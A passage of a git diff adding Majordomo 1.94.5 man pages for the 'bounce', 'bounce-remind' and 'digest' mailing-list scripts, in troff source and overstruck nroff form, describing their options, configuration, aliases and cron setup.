----mmmmaaaaxxxxaaaaggggeeee ddddaaaayyyyssss + Expire entries older than ddddaaaayyyyssss.... The default is + coded into the bbbboooouuuunnnncccceeee script as $$$$ddddeeeeffffaaaauuuulllltttt____mmmmaaaaxxxxaaaaggggeeee + days. It is set to 21 days in the majordomo + distribution. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + mmmmaaaajjjjoooorrrrddddoooommmmoooo----lllliiiisssstttt + The list from which the offending user-address + should be removed. + + uuuusssseeeerrrr----aaaaddddddddrrrreeeessssssss + The address to which mail is currently + undeliverable. + + bbbboooouuuunnnncccceeee----aaaaddddddddrrrreeeessssssss----ffffiiiilllleeee + The name of the file that contains the bbbboooouuuunnnncccceeeessss + list. + + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + If bbbboooouuuunnnncccceeee is going to be used only to unsubscribe users, a + link can be created whose name contains ``unsub'' so that + users could be unsubscribed simply by typing + + unsub firewalls-digest fury@world.std.com + + for example. + + In any case, a configuration file must exist and must + contain the names of the owner's lists, along with their + respective passwords and the email address of the associated + + + + Page 2 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + Majordomo server. The format of this file is given in the + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the aaaapppppppprrrroooovvvveeee(1) man page. The + default name for this file is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the same + file can serve for both the aaaapppppppprrrroooovvvveeee and bbbboooouuuunnnncccceeee scripts. + + The bbbboooouuuunnnncccceeeessss list, if it is used, must be created. It is + like any other Majordomo list excepting that the priority of + this list should be set to jjjjuuuunnnnkkkk and its owner and sender + should be nnnnoooobbbbooooddddyyyy.... Of course, the ``nobody'' mail alias must + exist; it is should be set to /dev/null. That is, + + nobody: /dev/null + + This will spare the human list owner as well as the + postmaster from having to deal with mail bouncing from the + bbbboooouuuunnnncccceeeessss list. + + A ccccrrrroooonnnn(1M) job should be set up to run bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd every + night. bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd must run on the same server as the + bbbboooouuuunnnncccceeeessss list; it mails a message to everyone on the list + advising them that they have been removed from one or more + Majordomo lists and instructs them how to get off the + bbbboooouuuunnnncccceeeessss list and back on the list of their choice. + + bbbboooouuuunnnncccceeee can only expire addresses if it has a copy of the + bbbboooouuuunnnncccceeeessss subscriber file, so this can either be run on the + server occasionally by the Majordomo administrator or by a + cron job. It can also be run remotely with a copy of the + bbbboooouuuunnnncccceeeessss file retrived by the use of the ``who bounces'' + command to majordomo. + + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))),,,,aaaapppppppprrrroooovvvveeee((((1111)))) + + AAAAUUUUTTTTHHHHOOOORRRR + Majordomo and most of the ancillary perl code was written by + Brent Chapman . Majordomo is + available via anonymous FTP from FTP.GreatCircle.COM, in the + directory pub/majordomo. This man page was written by Kevin + Kelleher . + + + + + + + + + + + + Page 3 (printed 9/24/96) + + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce.1 b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce.1 new file mode 100644 index 0000000..161d02f --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce.1 @@ -0,0 +1,221 @@ +.TH bounce 1 +.SH NAME +bounce, bounce-remind \- handle majordomo list subscribers whose mail is undeliverable +.LP +.SH SYNOPSIS +.B bounce [\-d] [\-f +.I config-file +.B ] [\-majordomo +.I server-address +.B ] [\-unsub] +.I majordomo-list user-address +.LP +.B bounce [\-d] [\-f +.I config-file +.B ] [\-majordomo +.I server-address +.B ] \-expire [\-maxage +.I days +.B ] +.I bounce-address-file +.LP +.B bounce-remind +.LP +.SH AVAILABILITY +Provided with distributions of Majordomo. +.LP +.SH DESCRIPTION +.B bounce +and +.B bounce-remind +are perl scripts which help list owners +handle subscribers whose mail is bouncing. Mail is "bounced" +in this context when it is undeliverable because hosts or +addresses are unreachable or because of other mail errors. +.LP +Mail is also "bounced" by the resend script for various administrative +reasons; these bounces are described in +.BR approve (1). +.LP +When a list owner observes that an email address consistently causes +mail errors, the owner may use +.B bounce +to remove the address from the list and place the address on a special +.BR bounces +mailing list. +.LP +.B bounce-remind, +which should be run nightly by +.BR cron (4M), +sends a message to each of the user addresses on the +.BR bounces +list, on the chance that the mail error has been corrected. +The message informs the addressee that their mail has been +undeliverable and that they have been removed from one or +more majordomo lists. It also instructs them how to unsubscribe +from the +.BR bounces +list and re-subscribe to the list of their choice. +.LP +.B bounce +can also be used to expire addresses off the +.BR bounces +list after a predetermined number of days. +.LP +If +.B bounce +is invoked under a name that contains ``unsub'' it will simply +unsubscribe the offending address from the majordomo list; it +will not place the address on the +.BR bounces +list. +.LP +.SH OPTIONS +These options relate to +.B bounce; bounce-remind +takes no arguments or options. +.LP +.TP 10 +.B \-d +Debug; print what would be done, but don't do it. +.TP +.B \-f config-file +Use the specified configuration file. The default is +.BR ~/.majordomo, +and the format for this file is described in the +.BR CONFIGURATION +section of the +.BR approve (1) +man page. This file provides the list-owner's password for +each list and the address of the corresponding Majordomo +server. +.TP +.B \-majordomo server-address +Use this +.IR server-address +for majordomo rather than the address from the configuration file. +.TP +.B \-unsub +Unsubscribes the offending address from the majordomo list, +without entering that address on the +.BR bounces +list. This is equivalent to invoking +.BR bounce +under a name containing ``unsub''. +.TP +.B \-expire +Expire entries from the specified +.BR bounces +list. +.TP +.B \-maxage days +Expire entries older than +.BI days. +The default is coded into the +.BR bounce +script as +.BI $default_maxage +days. It is set to 21 days in the majordomo distribution. +.LP +.SH OPERANDS +.TP 10 +.B majordomo-list +The list from which the offending user-address should be removed. +.TP +.B user-address +The address to which mail is currently undeliverable. +.TP +.B bounce-address-file +The name of the file that contains the +.BR bounces +list. +.LP +.SH CONFIGURATION +If +.B bounce +is going to be used only to unsubscribe users, a link can be +created whose name contains ``unsub'' so that users could be +unsubscribed simply by typing +.sp 1 +.RS 3 +unsub firewalls-digest fury@world.std.com +.RE +.sp 1 +for example. +.LP +In any case, a configuration file must exist and must contain +the names of the owner's lists, along with their respective +passwords and the email address of the associated Majordomo +server. The format of this file is given in the +.B CONFIGURATION +section of the +.BR approve (1) +man page. The default name for this file is +.BR ~/.majordomo, +and the same file can serve for both the +.B approve +and +.B bounce +scripts. +.LP +The +.B bounces +list, if it is used, must be created. It is like any other +Majordomo list excepting that the priority of this list +should be set to +.B junk +and its owner and sender should be +.B nobody. +Of course, the ``nobody'' mail alias must exist; it is should +be set to /dev/null. That is, +.sp 1 +.RS 3 +nobody: /dev/null +.RE +.sp 1 +This will spare the human list owner as well as the postmaster +from having to deal with mail bouncing from the +.B bounces +list. +.LP +A +.BR cron (1M) +job should be set up to run +.B bounce-remind +every night. +.B bounce-remind +must run on the same server as the +.B bounces +list; it mails a message to everyone on the list advising +them that they have been removed from one or more Majordomo +lists and instructs them how to get off the +.B bounces +list and back on the list of their choice. +.LP +.B bounce +can only expire addresses if it has a copy of the +.B bounces +subscriber file, so this can either be run on the server +occasionally by the Majordomo administrator or by a cron +job. It can also be run remotely with a copy of the +.B bounces +file retrived by the use of the ``who bounces'' command +to majordomo. +.LP +.SH FILES +.PD 0 +.TP 20 +.B /etc/aliases +.TP +.B /etc/majordomo.cf +.PD +.LP +.SH SEE ALSO +.B majordomo(8),approve(1) +.LP +.SH AUTHOR +Majordomo and most of the ancillary perl code was written by +Brent Chapman . +Majordomo is available via anonymous FTP +from FTP.GreatCircle.COM, in the directory pub/majordomo. This +man page was written by Kevin Kelleher . diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce.man b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce.man new file mode 100644 index 0000000..5694ac3 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce.man @@ -0,0 +1,198 @@ + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + NNNNAAAAMMMMEEEE + bounce, bounce-remind - handle majordomo list subscribers + whose mail is undeliverable + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + [[[[----uuuunnnnssssuuuubbbb]]]] _m_a_j_o_r_d_o_m_o-_l_i_s_t _u_s_e_r-_a_d_d_r_e_s_s + + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + ----eeeexxxxppppiiiirrrreeee [[[[----mmmmaaaaxxxxaaaaggggeeee _d_a_y_s ]]]] _b_o_u_n_c_e-_a_d_d_r_e_s_s-_f_i_l_e + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + bbbboooouuuunnnncccceeee and bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd are perl scripts which help list + owners handle subscribers whose mail is bouncing. Mail is + "bounced" in this context when it is undeliverable because + hosts or addresses are unreachable or because of other mail + errors. + + Mail is also "bounced" by the resend script for various + administrative reasons; these bounces are described in + aaaapppppppprrrroooovvvveeee(1). + + When a list owner observes that an email address + consistently causes mail errors, the owner may use bbbboooouuuunnnncccceeee to + remove the address from the list and place the address on a + special bbbboooouuuunnnncccceeeessss mailing list. + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd,,,, which should be run nightly by ccccrrrroooonnnn(4M), + sends a message to each of the user addresses on the bbbboooouuuunnnncccceeeessss + list, on the chance that the mail error has been corrected. + The message informs the addressee that their mail has been + undeliverable and that they have been removed from one or + more majordomo lists. It also instructs them how to + unsubscribe from the bbbboooouuuunnnncccceeeessss list and re-subscribe to the + list of their choice. + + bbbboooouuuunnnncccceeee can also be used to expire addresses off the bbbboooouuuunnnncccceeeessss + list after a predetermined number of days. + + If bbbboooouuuunnnncccceeee is invoked under a name that contains ``unsub'' it + will simply unsubscribe the offending address from the + majordomo list; it will not place the address on the bbbboooouuuunnnncccceeeessss + list. + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + These options relate to bbbboooouuuunnnncccceeee;;;; bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd takes no + arguments or options. + + + + Page 1 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + ----dddd Debug; print what would be done, but don't do it. + + ----ffff ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + Use the specified configuration file. The default + is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the format for this file is + described in the CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the + aaaapppppppprrrroooovvvveeee(1) man page. This file provides the + list-owner's password for each list and the + address of the corresponding Majordomo server. + + ----mmmmaaaajjjjoooorrrrddddoooommmmoooo sssseeeerrrrvvvveeeerrrr----aaaaddddddddrrrreeeessssssss + Use this _s_e_r_v_e_r-_a_d_d_r_e_s_s for majordomo rather than + the address from the configuration file. + + ----uuuunnnnssssuuuubbbb Unsubscribes the offending address from the + majordomo list, without entering that address on + the bbbboooouuuunnnncccceeeessss list. This is equivalent to invoking + bbbboooouuuunnnncccceeee under a name containing ``unsub''. + + ----eeeexxxxppppiiiirrrreeee Expire entries from the specified bbbboooouuuunnnncccceeeessss list. + + ----mmmmaaaaxxxxaaaaggggeeee ddddaaaayyyyssss + Expire entries older than ddddaaaayyyyssss.... The default is + coded into the bbbboooouuuunnnncccceeee script as $$$$ddddeeeeffffaaaauuuulllltttt____mmmmaaaaxxxxaaaaggggeeee + days. It is set to 21 days in the majordomo + distribution. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + mmmmaaaajjjjoooorrrrddddoooommmmoooo----lllliiiisssstttt + The list from which the offending user-address + should be removed. + + uuuusssseeeerrrr----aaaaddddddddrrrreeeessssssss + The address to which mail is currently + undeliverable. + + bbbboooouuuunnnncccceeee----aaaaddddddddrrrreeeessssssss----ffffiiiilllleeee + The name of the file that contains the bbbboooouuuunnnncccceeeessss + list. + + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + If bbbboooouuuunnnncccceeee is going to be used only to unsubscribe users, a + link can be created whose name contains ``unsub'' so that + users could be unsubscribed simply by typing + + unsub firewalls-digest fury@world.std.com + + for example. + + In any case, a configuration file must exist and must + contain the names of the owner's lists, along with their + respective passwords and the email address of the associated + + + + Page 2 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + Majordomo server. The format of this file is given in the + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the aaaapppppppprrrroooovvvveeee(1) man page. The + default name for this file is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the same + file can serve for both the aaaapppppppprrrroooovvvveeee and bbbboooouuuunnnncccceeee scripts. + + The bbbboooouuuunnnncccceeeessss list, if it is used, must be created. It is + like any other Majordomo list excepting that the priority of + this list should be set to jjjjuuuunnnnkkkk and its owner and sender + should be nnnnoooobbbbooooddddyyyy.... Of course, the ``nobody'' mail alias must + exist; it is should be set to /dev/null. That is, + + nobody: /dev/null + + This will spare the human list owner as well as the + postmaster from having to deal with mail bouncing from the + bbbboooouuuunnnncccceeeessss list. + + A ccccrrrroooonnnn(1M) job should be set up to run bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd every + night. bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd must run on the same server as the + bbbboooouuuunnnncccceeeessss list; it mails a message to everyone on the list + advising them that they have been removed from one or more + Majordomo lists and instructs them how to get off the + bbbboooouuuunnnncccceeeessss list and back on the list of their choice. + + bbbboooouuuunnnncccceeee can only expire addresses if it has a copy of the + bbbboooouuuunnnncccceeeessss subscriber file, so this can either be run on the + server occasionally by the Majordomo administrator or by a + cron job. It can also be run remotely with a copy of the + bbbboooouuuunnnncccceeeessss file retrived by the use of the ``who bounces'' + command to majordomo. + + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))),,,,aaaapppppppprrrroooovvvveeee((((1111)))) + + AAAAUUUUTTTTHHHHOOOORRRR + Majordomo and most of the ancillary perl code was written by + Brent Chapman . Majordomo is + available via anonymous FTP from FTP.GreatCircle.COM, in the + directory pub/majordomo. This man page was written by Kevin + Kelleher . + + + + + + + + + + + + Page 3 (printed 9/24/96) + + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/digest.1 b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/digest.1 new file mode 100644 index 0000000..24e2488 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/digest.1 @@ -0,0 +1,357 @@ +.TH digest 1 +.SH NAME +digest \- receive a file for a digest, or create and mail a digest +.LP +.SH SYNOPSIS +.B digest \-r|R|m|p \-C \-l +.I majordomo-listname recipient +.LP +.B digest \-r|R|m|p +[ +.B \-c +.I configuration-file +] +.LP +.SH AVAILABILITY +Provided with distributions of Majordomo. +.LP +.SH DESCRIPTION +The digest script is a perl script which automates the +management of digests of electronic mail. It can be +run in a standalone configuration or as part of Majordomo. +.LP +It requires two directories: a work directory and an +archive directory. Incoming email messages are held +in the work directory until they are collected into a +digest. The digests are created and stored +in the archive directory. +.LP +Incoming email messages are given +numerical names starting with ``001'' and are numbered in +order of arrival. The digests are named according to volume +and number. For example, the filename ``v01.n028'' indicates +volume 1, number 28 of the digest. +.LP +It should be noted that digest needs a configuration file +to define all of its operating parameters. If no such +file is specified, digest will use the +.SB $HOME/.digestrc +file. +.LP +Several aspects of digest configuration determine how and +when a digest is created. A digest can be created at +regular intervals (as long as there are incoming messages) +or whenever certain configurable conditions are met. These +conditions are: how large the digest can be (in characters), +how long the digest can be (in lines), and how old the messages +in the digest can be (in days). +.LP +.SH OPTIONS +.TP 10 +.B \-r +Receive an email message via standard input +and place the file into the working directory. +If any one of the conditions for digest creation +are met, create and mail a digest. These conditions +are the same as those described under option +.BR \-p. +.TP +.B \-R +Similar to +.BR \-r, +except that it will not create a digest. It simply +places the message in the work directory and stops. +.TP +.B \-m +If there are any numbered files in the working +directory, create and mail a digest. Store the +digest in the archive directory. This is the +option used by majordomo's mkdigest command. +.TP +.B \-p +Conditionally creates a digest. If any one of the +conditions for digest creation are met, the digest +is created and sent. There are three conditions, +which are connected to three limits: the digest +size in characters, the digest length in lines, and +the age of the oldest message in days. If one of the +files is older than the age limit, a digest is created. +If the sum of the messages exceeds either of the size +limits, a digest is created. The size limit in characters +must be configured; the other two limits are optional. +.TP +.B \-c configuration-file +Use the parameters defined in +.IR configuration-file. +.TP +.B \-C +Read the majordomo configuration file +(either /etc/majordomo.cf or ~majordomo/majordomo.cf) +and the configuration file for the Majordomo list specified in the +.BR \-l +option to define operational parameters. If both +.BR \-C +and +.BR \-c +options are specified (not recommended) only the +.BR \-C +option will be used. +.TP +.B \-l majordomo-listname +This option is ignored if used without the +.BR \-C +option. Specifies the Majordomo email list. +.LP +.SH OPERANDS +.TP 10 +.B recipient +Email recipient of the digest. This operand is ignored if used +without the +.BR \-C +option. It specifies one of the system mail +aliases created for the Majordomo list named in the +.BR \-l +option. +.LP +.SH MAJORDOMO DIGEST CONFIGURATION +When used as a part of Majordomo, digest takes these parameters +from +.B majordomo.cf +(either /etc/majordomo.cf or ~majordomo/majordomo.cf): +.LP +.PD 0 +.B $listdir +\- the location of the mailing lists +.LP +.B $digest_work_dir +\- parent directory for the digests' work directories +.LP +.B $filedir +\- parent directory for archive directories +.LP +.B $filedir_suffix +\- an optional identifier (may be the null string) +.PD +.LP +Incoming messages for +.B $listname-digest +will be held in +.B $digest_work_dir/$listname-digest. +.LP +Digests will be stored in +.B $filedir/$listname-digest$filedir_suffix. +.LP +The list's configuration file will be +.B $listdir/$listname-digest.config. +.LP +Examples of these values are given in +.SB EXAMPLES, +below. +.LP +The list's configuration file contains several digest parameters that +are not yet implemented and/or should NOT be changed from their defaults +(blank): +.B digest_archive, digest_rm_footer, digest_rm_fronter, digest_work_dir. +.LP +The parameters which specifically deal with digest creation +and maintenance are: +.LP +.PD 0 +.B digest_name +\- the title of the digest +.LP +.B digest_volume +\- volume number +.LP +.B digest_issue +\- issue number +.LP +.B digest_maxdays +\- age limit in days for oldest message in the digest +.LP +.B digest_maxlines +\- maximum number of lines in a digest +.LP +.B maxlength +\- maximum number of characters in a digest +.LP +.B message_fronter +\- text prepended to the digest +.LP +.B message_footer +\- text appended to the digest +.PD +.LP +The last three parameters are also used in the configuration of +an ordinary (non-digest) Majordomo list. +.LP +Each digest begins with the a line containing the +.B digest_name, current date, digest_volume and digest_issue. +. The digest script will update the issue number in the configuration file. +.LP +A blank line follows, and then the text from the +.B message_fronter, +if any. The message fronter may contain the +.SB _SUBJECT_ +token, which will be replaced by the subject lines from the messages +in the digest. +.LP +The text in the +.B message_footer, +if any, will be appended to the digest. +.LP +To embed a blank line in the +.B message_footer +or +.B message_fronter, +put a `-' as the first and ONLY character on the line. To +preserve whitespace at the beginning of a line, put a `-' +on the line before the whitespace to be preserved. To put +a literal `-' at the beginning of a line, double it. +.LP +Both message_footer and message_fronter may also use the tokens +.SB $LIST, $SENDER, +and +.SB $VERSION, +which will be expanded to, +respectively: the name of the current list, the sender as taken +from the from line, and the current version of Majordomo. +.LP +Examples of the aliases usually used with the digest are +given in +.SB EXAMPLES, +below. +.LP +The list owner can prompt Majordomo to build a digest by +sending the command +.LP +mkdigest +.I digest-name +[ +.I outgoing-address +] +.I digest-password +.LP +to majordomo either via email or from cron. The cron +command has the format: +.LP +echo mkdigest +.I digest-name +[ +.I outgoing-address +] +.I digest-password +| mail majordomo@domain.com +.LP +.SH STANDALONE DIGEST CONFIGURATION +The Majordomo distribution comes with a ``digest'' subdirectory. +The sample configuration file is called firewalls-digest.cf. +A file in this format must be used if digest is invoked in +standalone configuration. +.LP +If no configuration file is specified when digest is invoked, +it looks for a file named +.SB $HOME/.digestrc +that must be in the same format as the example file. +.LP +The configuration file defines the email addresses of the +sender and recipient of the digest. It also locates the +work and archive directories, the digest's size limit, +and the names of the files that contain the digest's volume, +number, header and footer. +.LP +The easiest way to configure a standalone digest is to copy +the five files (firewalls-digest.*) and edit them to taste. +.LP +Incoming mail is piped to digest with the +.B \-r +option. This can be done from some mail-reading programs, through +the command line, or via mail aliases similar to those +found in +.SB EXAMPLES, +below. +.LP +.SH EXAMPLES +.LP +1. Example values from +.B /etc/majordomo.cf: +.LP +.PD 0 +.B $listdir = ``usr/local/mail/lists''; +.LP +.B $digest_work_dir = ``usr/local/mail/digest''; +.LP +.B $filedir = ``listdir''; +.LP +.B $filedir_suffix ``archive''; +.PD +.LP +If our digest's name is banjo-digest, the work directory will +be /usr/local/mail/digest/banjo-digest; the archive directory +will be /usr/local/mail/lists/banjo-digest.archive. Note +that these are names of directories, not files. +.LP +2. Typical aliases for Majordomo digests: +.LP +Usually a Majordomo digest is associated to a regular (non-digest) +list. The digest's name is the regular listname plus ``-digest''. +The list ``banjo'' will have the digest ``banjo-digest''. +.LP +.PD 0 +.B banjo-digest-approval: kevink +.LP +.B banjo-digest-outgoing: :include:/usr/local/lists/banjo-digest +.LP +.B owner-banjo-digest-outgoing: kevink +.LP +.B banjo-digestify: ``|usr/majordomo/wrapper digest \-r +.B \-C \-l banjo-digest banjo-digest-outgoing'' +.LP +.B banjo-digest: banjo +.PD +.LP +Note that mail to ``banjo-digest'' is routed to the regular list. +The ``digestify'' alias must be added to the regular list's outgoing +alias: +.LP +.B banjo-outgoing: :include:/usr/local/lists/banjo,banjo-digestify +.LP +.SH NOTES +The volume number does not change automatically; it must be +incremented manually. +.LP +For testing/debugging purposes there is a ``hidden'' option +.B -d +that creates the digest as /tmp/testdigest.nnn +(where +.I nnn +is the current digest number). Since it is for testing and +debugging purposes, it does not mail the digest, it does not +place the digest in the archive directory, and it does not +update the digest number. +.LP +.SH EXIT STATUS +The following exit values are returned: +.TP 10 +.B 0 +Successful completion. +.TP +.B >0 +An error occurred. +.LP +.SH FILES +.PD 0 +.TP 20 +.B /etc/aliases +.TP +.B /etc/majordomo.cf +.PD +.LP +.SH SEE ALSO +.B majordomo(8) +.LP +.SH AUTHOR +The digest script was written by Brent Chapman . +It is available with distributions of Majordomo via anonymous FTP +from FTP.GreatCircle.COM, in the directory pub/majordomo. This +man page was written by Kevin Kelleher . diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/digest.man b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/digest.man new file mode 100644 index 0000000..3fa31b4 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/digest.man @@ -0,0 +1,396 @@ + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + NNNNAAAAMMMMEEEE + digest - receive a file for a digest, or create and mail a + digest + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + ddddiiiiggggeeeesssstttt ----rrrr||||RRRR||||mmmm||||pppp ----CCCC ----llll _m_a_j_o_r_d_o_m_o-_l_i_s_t_n_a_m_e _r_e_c_i_p_i_e_n_t + + ddddiiiiggggeeeesssstttt ----rrrr||||RRRR||||mmmm||||pppp [ ----cccc _c_o_n_f_i_g_u_r_a_t_i_o_n-_f_i_l_e ] + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + The digest script is a perl script which automates the + management of digests of electronic mail. It can be run in + a standalone configuration or as part of Majordomo. + + It requires two directories: a work directory and an archive + directory. Incoming email messages are held in the work + directory until they are collected into a digest. The + digests are created and stored in the archive directory. + + Incoming email messages are given numerical names starting + with ``001'' and are numbered in order of arrival. The + digests are named according to volume and number. For + example, the filename ``v01.n028'' indicates volume 1, + number 28 of the digest. + + It should be noted that digest needs a configuration file to + define all of its operating parameters. If no such file is + specified, digest will use the file. + + Several aspects of digest configuration determine how and + when a digest is created. A digest can be created at + regular intervals (as long as there are incoming messages) + or whenever certain configurable conditions are met. These + conditions are: how large the digest can be (in + characters), how long the digest can be (in lines), and how + old the messages in the digest can be (in days). + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + ----rrrr Receive an email message via standard input and + place the file into the working directory. If any + one of the conditions for digest creation are met, + create and mail a digest. These conditions are + the same as those described under option ----pppp.... + + ----RRRR Similar to ----rrrr,,,, except that it will not create a + digest. It simply places the message in the work + directory and stops. + + ----mmmm If there are any numbered files in the working + + + + Page 1 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + directory, create and mail a digest. Store the + digest in the archive directory. This is the + option used by majordomo's mkdigest command. + + ----pppp Conditionally creates a digest. If any one of the + conditions for digest creation are met, the digest + is created and sent. There are three conditions, + which are connected to three limits: the digest + size in characters, the digest length in lines, + and the age of the oldest message in days. If one + of the files is older than the age limit, a digest + is created. If the sum of the messages exceeds + either of the size limits, a digest is created. + The size limit in characters must be configured; + the other two limits are optional. + + ----cccc ccccoooonnnnffffiiiigggguuuurrrraaaattttiiiioooonnnn----ffffiiiilllleeee + Use the parameters defined in _c_o_n_f_i_g_u_r_a_t_i_o_n-_f_i_l_e. + + ----CCCC Read the majordomo configuration file (either + /etc/majordomo.cf or ~majordomo/majordomo.cf) and + the configuration file for the Majordomo list + specified in the ----llll option to define operational + parameters. If both ----CCCC and ----cccc options are + specified (not recommended) only the ----CCCC option + will be used. + + ----llll mmmmaaaajjjjoooorrrrddddoooommmmoooo----lllliiiissssttttnnnnaaaammmmeeee + This option is ignored if used without the ----CCCC + option. Specifies the Majordomo email list. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + rrrreeeecccciiiippppiiiieeeennnntttt Email recipient of the digest. This operand is + ignored if used without the ----CCCC option. It + specifies one of the system mail aliases created + for the Majordomo list named in the ----llll option. + + MMMMAAAAJJJJOOOORRRRDDDDOOOOMMMMOOOO DDDDIIIIGGGGEEEESSSSTTTT CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + When used as a part of Majordomo, digest takes these + parameters from mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff (either /etc/majordomo.cf or + ~majordomo/majordomo.cf): + + $$$$lllliiiissssttttddddiiiirrrr - the location of the mailing lists + $$$$ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr - parent directory for the digests' work + directories + $$$$ffffiiiilllleeeeddddiiiirrrr - parent directory for archive directories + $$$$ffffiiiilllleeeeddddiiiirrrr____ssssuuuuffffffffiiiixxxx - an optional identifier (may be the null + string) + + Incoming messages for $$$$lllliiiissssttttnnnnaaaammmmeeee----ddddiiiiggggeeeesssstttt will be held in + $$$$ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr////$$$$lllliiiissssttttnnnnaaaammmmeeee----ddddiiiiggggeeeesssstttt.... + + + + + Page 2 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + Digests will be stored in $$$$ffffiiiilllleeeeddddiiiirrrr////$$$$lllliiiissssttttnnnnaaaammmmeeee---- + ddddiiiiggggeeeesssstttt$$$$ffffiiiilllleeeeddddiiiirrrr____ssssuuuuffffffffiiiixxxx.... + + The list's configuration file will be $$$$lllliiiissssttttddddiiiirrrr////$$$$lllliiiissssttttnnnnaaaammmmeeee---- + ddddiiiiggggeeeesssstttt....ccccoooonnnnffffiiiigggg.... + + Examples of these values are given in below. + + The list's configuration file contains several digest + parameters that are not yet implemented and/or should NOT be + changed from their defaults (blank): 